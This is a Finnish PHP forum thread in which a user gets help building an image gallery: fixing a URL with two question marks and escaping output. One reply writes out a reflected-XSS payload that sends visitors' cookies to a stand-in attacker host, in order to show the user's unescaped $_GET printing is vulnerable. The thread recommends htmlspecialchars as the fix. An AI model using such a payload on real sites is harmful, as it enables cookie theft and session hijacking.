Kirjautuminen

Haku

Tehtävät

Keskustelu: Nettisivujen teko: PHP: Kahdesta dynaamisesta osoitteesta vain toisen hakeminen

Sivun loppuun

Wee [07.04.2010 21:53:58]

#

Hei! Olen värkkäämässä kuvagalleriaa eräälle sivustolle. Käytän sivustolla dynaamista linkkijärjestelmää sivun eri osien includetuksen kanssa. Homma toimii muuten, mutta itse gallerian kanssa on ongelmia:

Olen eritellyt kuvagallerian hakemistot omiksi sivuikseen. Tiedän, ettei tämä ole paras tapa, mutta tällähetkellä tärkeintä on saada homma nopeasti toimimaan, ja menen sieltä missä aita on matalin. Eli kuvahakemisto xyz löytyy osoitteesta

www.munsivusto.com/gallery.php?p=xyz

Galleriassa haluan kuitenkin myös yksittäisten kuvien näyttömahdollisuuden. Thumbnail-kuvien tulostamisen toteutan seuraavasti:

print('<td width="200" align="center"><a href="gallery.php?p=xyz?i='.$filename.'"><img src="gallery/thumbsxyz/'.$filename.'" border="0"></a></td>');

Mainittakoon tässä vaiheessa, että tiedosto xyz.php (joka siis includetetaan galleriasivulle) sijaitsee hakemistossa /www/gallery kun taas galleriasivu on hakemistossa /www.

Yritän nyt siis thumbnailia klikatessa näyttää sen kyseisen kuvan isompana käyttäen sen i-arvoa, jonka siis määritin filenameksi (noin 9 numeron sarja). Ongelma tosin on, että sitä ennen on tuo ?p=xyz -kohta osoitteessa, joka tuntuu siis sotkevan koko yrityksen?

Yritin lukea alkuperäisen kuvan näin:

print('<img border="0" src="gallery/xyz/'.$_GET['i'].'">');

Mutta ei. Antaa vain virheilmoitukseni.

Ideoita? Ja kiitos, kategoriointia en aio muuttaa, vaan sen pidän erillisinä sivuina ja kansioina.

Damiqib [07.04.2010 22:17:42]

#

Muuta toinen kysymysmerkki &-merkiksi, eli -> gallery.php?p=xyz&i='.$filename.'

trilog [08.04.2010 10:10:03]

#

Damiqib kirjoitti:

Muuta toinen kysymysmerkki &-merkiksi, eli -> gallery.php?p=xyz&i='.$filename.'

Tai oikeammin &amp; -entiteetiksi.

$filename olisi myös hyvä urlenkoodata. Nykyisessä koodissasi on myös XSS-aukko.

Wee [08.04.2010 11:10:07]

#

trilog kirjoitti:

Nykyisessä koodissasi on myös XSS-aukko.

Kertoisitko lisää..? :)

Metabolix [08.04.2010 11:52:54]

#

Mieti, mitä tapahtuu, kun sivu ladataan seuraavanlaisella osoitteella (tietenkin sopivasti enkoodattuna):

http://sinun.sivusi.leikisti/sivu.php?i="><script type="text/javascript">location.href = "http://hakkerointi.gurut.be/tiedot.php?sivu=" + escape(location.href) + "\x26tieto=" + escape(document.cookie);</script>

Tämä siis pätee tuohon jälkimmäiseen print-riviisi, mutta eiköhän koodissasi ole useampikin samanlainen paikka. Linkin voi huomaamattomasti ujuttaa käyttäjälle vaikka näin. Asian voi korjata helpoiten käsittelemällä datan aina htmlspecialchars-funktiolla ennen tulostusta – näin kuuluu muutenkin tehdä, jos data saattaa sisältää HTML:ssä käytettäviä merkkejä.

pistemies [08.04.2010 12:40:41]

#

Onko käytössä php?
Sillä sen saisi turvallisemmin ja ainakin meikä myös helpommin ;)

Wee [08.04.2010 15:59:59]

#

Pekka Mansikka kirjoitti:

Onko käytössä php?
Sillä sen saisi turvallisemmin ja ainakin meikä myös helpommin ;)

Juu, kaikki nuo koodit ovat echojen sisällä php:ssa

Paitsi tuo print-rivi, sekä muutama vastaava

pistemies [08.04.2010 16:54:40]

#

Mjoo :)

Laita siihen tarkistus, jotta se ei hyväksy osoiteriville ihan mitä tahansa. ...

Auttoiko tuo merkin vaihto? Onko sinulla tiedosto-muoto (ilmeisesti jpg) jo tuossa linkissä?

Wee [09.04.2010 07:02:55]

#

Merkinvaihto auttoi, ja tiedostomuodon selvitän automaattisesti kullekkin id:lle erikseen, ja tallennan ne flatfileen, josta sitten tarvittaessa tiedostomuoto luetaan id:stä riippuen sen perään (pistin tuen giffille, jpg/jpeg:lle sekä png:lle) :).

Kiitos avusta!


Sivun alkuun

Vastaus

Aihe on jo aika vanha, joten et voi enää vastata siihen.

Tietoa sivustosta